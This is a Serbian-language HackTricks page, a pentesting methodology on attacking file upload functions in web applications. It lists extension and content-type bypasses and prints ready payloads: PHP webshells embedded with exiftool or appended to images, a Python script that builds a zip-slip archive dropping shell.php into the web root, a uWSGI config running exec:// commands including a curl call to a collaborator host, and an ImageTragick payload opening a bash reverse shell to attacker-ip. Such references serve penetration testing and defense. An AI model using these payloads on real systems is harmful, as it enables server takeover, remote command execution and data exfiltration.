24 KiB
Raw Blame History

Otpremanje fajlova

{{#include ../../banners/hacktricks-training.md}}

Opšta metodologija za otpremanje fajlova

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Zaobilaženje provere ekstenzija fajlova

  1. Ako se primenjuju, proveri prethodne ekstenzije. Takođe testiraj ih koristeći velika slova: pHp, .pHP5, .PhAr ...
  2. Proveri dodavanje validne ekstenzije pre ekstenzije za izvršavanje (koristi prethodne ekstenzije takođe):
  • file.png.php
  • file.png.Php5
  1. Pokušaj da dodaš specijalne karaktere na kraj. Možeš koristiti Burp da bruteforce-uješ sve ascii i Unicode karaktere. (Napomena: možeš takođe pokušati da iskoristiš prethodno pomenute ekstenzije)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Pokušaj da zaobiđeš zaštite zavaravanjem parsera ekstenzija na serveru tehnikama kao što su dupliranje ekstenzije ili dodavanje beskorisnih podataka (null bajtova) između ekstenzija. Možeš takođe koristiti prethodne ekstenzije da pripremiš bolji payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Dodaj još jedan sloj ekstenzija na prethodnu proveru:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Pokušaj da staviš exec ekstenziju pre validne ekstenzije i nadaj se da je server pogrešno konfigurisan. (korisno za iskorišćavanje Apache misconfiga gde će sve što sadrži ekstenziju .php, ali ne mora nužno da se završava sa .php, izvršiti kod):
  • ex: file.php.png
  1. Korišćenje NTFS alternate data stream (ADS) u Windows-u. U ovom slučaju, nakon zabranjene ekstenzije biće umetnut karakter kolon ":” pre dozvoljene ekstenzije. Kao rezultat, na serveru će biti kreiran prazan fajl sa zabranjenom ekstenzijom (npr. "file.asax:.jpg”). Ovaj fajl se kasnije može izmeniti koristeći druge tehnike kao što je korišćenje njegovog short filename-a. Pattern "::$data” može takođe biti upotrebljen za kreiranje ne-praznih fajlova. Zato dodavanje tačke nakon ovog pattern-a može pomoći da se zaobiđu dalje restrikcije (npr. "file.asp::$data.”)
  2. Pokušaj da prekoračiš ograničenja imena fajla. Validna ekstenzija biva isečena. Maliciozni PHP ostaje. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

Zaobilaženje Content-Type, magic number, kompresije i promene veličine

  • Zaobidji provere Content-Type postavljanjem vrednosti Content-Type header-a na: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Zaobidji proveru magic number tako što ćeš na početak fajla dodati bajtove prave slike (zavesti komandu file). Ili ubaci shell u metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ili možeš direktno ubaciti payload u sliku:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Ako se nad tvoju sliku primenjuje kompresija, na primer korišćenjem standardnih PHP biblioteka kao što je PHP-GD, prethodne tehnike neće biti korisne. Međutim, možeš koristiti PLTE chunk tehniku definisanu ovde da ubaciš tekst koji će preživeti kompresiju.
  • Github sa kodom
  • Web stranica takođe može menjati dimenzije slike koristeći, na primer, PHP-GD funkcije imagecopyresized ili imagecopyresampled. Međutim, možeš koristiti IDAT chunk tehniku definisanu ovde da ubaciš tekst koji će preživeti kompresiju.
  • Github sa kodom
  • Još jedna tehnika da se napravi payload koji preživi menjanje veličine slike, koristeći PHP-GD funkciju thumbnailImage. Takođe se može koristiti tEXt chunk tehnika definisana ovde da ubaciš tekst koji će preživeti kompresiju.
  • Github sa kodom

Ostali trikovi za proveru

  • Pronađi ranjivost koja omogućava preimenovanje već otpremljenog fajla (da promeniš ekstenziju).
  • Pronađi Local File Inclusion ranjivost da izvršiš backdoor.
  • Moguća otkrivanja informacija:
  1. Otpremi više puta (i u isto vreme) isti fajl sa istim imenom
  2. Otpremi fajl sa imenom fajla ili foldera koji već postoji
  3. Otpremanje fajla sa imenom "." , ".." ili "..." . Na primer, u Apache na Windows-u, ako aplikacija snima otpremljene fajlove u "/www/uploads/" direktorijum, fajl sa imenom "." će kreirati fajl "uploads" u "/www/" direktorijumu.
  4. Otpremi fajl koji se teško briše, kao što je "…:.jpg" u NTFS-u. (Windows)
  5. Otpremi fajl u Windows-u sa nevažećim karakterima kao što su |<>*?” u imenu. (Windows)
  6. Otpremi fajl u Windows-u koristeći rezervisana (zabranjena) imena kao CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Takođe pokušaj da otpremiš izvršni fajl (.exe) ili .html (manje sumnjivo) koji će izvršiti kod kada žrtva slučajno otvori fajl.

Specijalni trikovi sa ekstenzijama

Ako pokušavaš da otpremiš fajlove na PHP server, pogledaj .htaccess trik za izvršavanje koda: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution.
Ako pokušavaš da otpremiš fajlove na ASP server, pogledaj .config trik za izvršavanje koda (../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).

Fajlovi .phar su kao .jar za java, ali za php, i mogu se koristiti kao php fajl (izvršavajući ih sa php, ili uključujući ih unutar skripta...)

Ekstenzija .inc se ponekad koristi za php fajlove koji služe samo za import fajlova, tako da je moguće da je neko dozvolio izvršavanje ove ekstenzije.

Jetty RCE

Ako možeš da otpremiš XML fajl na Jetty server, možeš dobiti RCE because new *.xml and *.war are automatically processed. Dakle, kao što je prikazano na sledećoj slici, otpremi XML fajl u $JETTY_BASE/webapps/ i očekuj shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Za detaljno objašnjenje ove ranjivosti pogledaj originalno istraživanje: uWSGI RCE Exploitation.

Remote Command Execution (RCE) ranjivosti se mogu iskoristiti na uWSGI serverima ako napadač ima mogućnost da modifikuje .ini konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu da uključe "magic" varijable, placeholdere i operatore. Posebno, '@' operator, korišćen kao @(filename), dizajniran je da uključi sadržaj fajla. Među različitim podržanim scheme-ama u uWSGI, "exec" scheme je posebno moćna, jer omogućava čitanje podataka iz standardnog output-a procesa. Ova funkcionalnost se može iskoristiti u zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se .ini konfiguracioni fajl obradi.

Razmotri sledeći primer zlonamernog uwsgi.ini fajla, koji pokazuje različite scheme:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Izvršavanje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (moguće nakon pada ili zbog Denial of Service napada) ili datoteka mora biti podešena da se auto-reload-uje. Funkcija auto-reload, ako je omogućena, ponovo učitava datoteku u zadatim intervalima kada detektuje promene.

Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke od strane uWSGI-a. Konkretno, diskutovani payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), što dodatno proširuje opseg potencijalne eksploatacije.

wget File Upload/SSRF Trick

Ponekad možete otkriti da server koristi wget da preuzme fajlove i da možete navesti URL. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova u whitelist-i kako bi se osiguralo da će biti preuzeti samo dozvoljeni fajlovi. Međutim, ova provera se može zaobići.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

Alati

  • Upload Bypass je moćan alat dizajniran da pomogne Pentesters i Bug Hunters u testiranju file upload mehanizama. On koristi različite bug bounty techniques da pojednostavi proces identifikacije i eksploatacije ranjivosti, obezbeđujući temeljne procene web aplikacija.

Korupcija upload indeksa pomoću snprintf quirks (istorijski)

Neki legacy upload handler-i koji koriste snprintf() ili slične funkcije da izgrade multi-file nizove iz jednog single-file upload-a mogu biti prevareni da falsifikuju _FILES strukturu. Zbog nekonzistentnosti i skraćivanja u ponašanju snprintf(), pažljivo konstruisan single upload može izgledati kao više indeksiranih fajlova na strani servera, zbunjujući logiku koja pretpostavlja striktan oblik (npr. tretira ga kao multi-file upload i ulazi u nesigurne grane). Iako danas manje rasprostranjen, ovaj “index corruption” pattern povremeno se pojavljuje u CTF-ovima i starijim codebases.

Od File upload do drugih ranjivosti

Evo top 10 liste stvari koje možeš postići upload-ovanjem (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

{{#ref}} https://github.com/portswigger/upload-scanner {{#endref}}

Magični početni bajtovi

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Pogledaj https://en.wikipedia.org/wiki/List_of_file_signatures za druge tipove fajlova.

Zip/Tar fajl koji se automatski dekompresuje pri Upload-u

Ako možeš upload-ovati ZIP koji će biti dekompresovan na serveru, možeš uraditi 2 stvari:

Upload-uj arhivu koja sadrži soft links ka drugim fajlovima; pri pristupu dekompresovanim fajlovima, pristupićeš linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Dekompresija u različite foldere

Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. I pored početnih pretpostavki da ovo podešavanje može da štiti od OS-level command execution kroz malicious file uploads, podrška za hijerarhijsko kompresovanje i mogućnosti directory traversal formata ZIP arhiva mogu se iskoristiti. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulisanjem funkcionalnošću dekompresije ciljne aplikacije.

An automated exploit to craft such files is available at evilarc on GitHub. The utility can be used as shown:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Dodatno, symlink trick with evilarc je opcija. Ako je cilj da se pristupi fajlu poput /flag.txt, trebalo bi kreirati symlink ka tom fajlu u vašem sistemu. To obezbeđuje da evilarc ne naiđe na greške tokom svog rada.

Ispod je primer Python koda koji se koristi za kreiranje malicioznog zip fajla:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Zloupotreba kompresije za file spraying

For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Kreiranje PHP Shell-a: PHP kod koji izvršava komande prosleđene putem promenljive $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Kreira se više fajlova i sastavlja zip arhiva koja sadrži te fajlove.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" kako bi se izvršilo prelaženje kroz direktorijume.
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1) (from the exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

Umetanje PHP shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije imagecopyresized i imagecopyresampled iz PHP-GD posebno su relevantne u ovom kontekstu, pošto se često koriste za promenu veličine i ponovno uzorkovanje slika. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen pri ovim operacijama predstavlja značajnu prednost za određene slučajeve upotrebe.

Detaljna analiza ove tehnike, uključujući metodologiju i potencijalne primene, dostupna je u sledećem članku: "Encoding Web Shells in PNG IDAT chunks". Ovaj resurs pruža sveobuhvatno razumevanje procesa i njegovih implikacija.

Više informacija: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot files predstavljaju jedinstven alat u sajber bezbednosti, ponašajući se kao kameleon koji može validno postojati u više formata fajlova istovremeno. Zanimljiv primer je GIFAR, hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; moguće su i kombinacije poput GIF i JS ili PPT i JS.

Suštinska korisnost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju fajlove po tipu. Uobičajena praksa u različitim aplikacijama je dozvoliti samo određene tipove fajlova za upload—kao što su JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno opasnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, usklađujući se sa strukturnim kriterijumima više formata fajlova, može prikriveno zaobići ta ograničenja.

Uprkos svojoj prilagodljivosti, polygloti imaju ograničenja. Na primer, dok polyglot može istovremeno predstavljati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politike platforme u vezi ekstenzija fajlova. Ako sistem strogo zahteva dozvoljene ekstenzije, sama strukturna dvostrukost polyglota možda neće biti dovoljna da garantuje upload.

Više informacija: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

Kako izbeći detekciju tipa fajla tako što ćete upload-ovati validan JSON fajl čak i kada nije dozvoljen, tako što ćete ga predstaviti kao PDF (tehnike iz this blog post):

  • mmmagic library: Dokle god su %PDF magični bajtovi u prvih 1024 bajta, smatra se validnim (pogledajte primer u postu)
  • pdflib library: Dodajte lažni PDF format unutar polja JSON-a tako da biblioteka misli da je u pitanju pdf (pogledajte primer u postu)
  • file binary: Može pročitati do 1048576 bajta iz fajla. Jednostavno kreirajte JSON veći od toga tako da ne može parsirati sadržaj kao JSON, a zatim unutra u JSON ubacite početni deo pravog PDF-a i on će misliti da je u pitanju PDF

References

{{#include ../../banners/hacktricks-training.md}}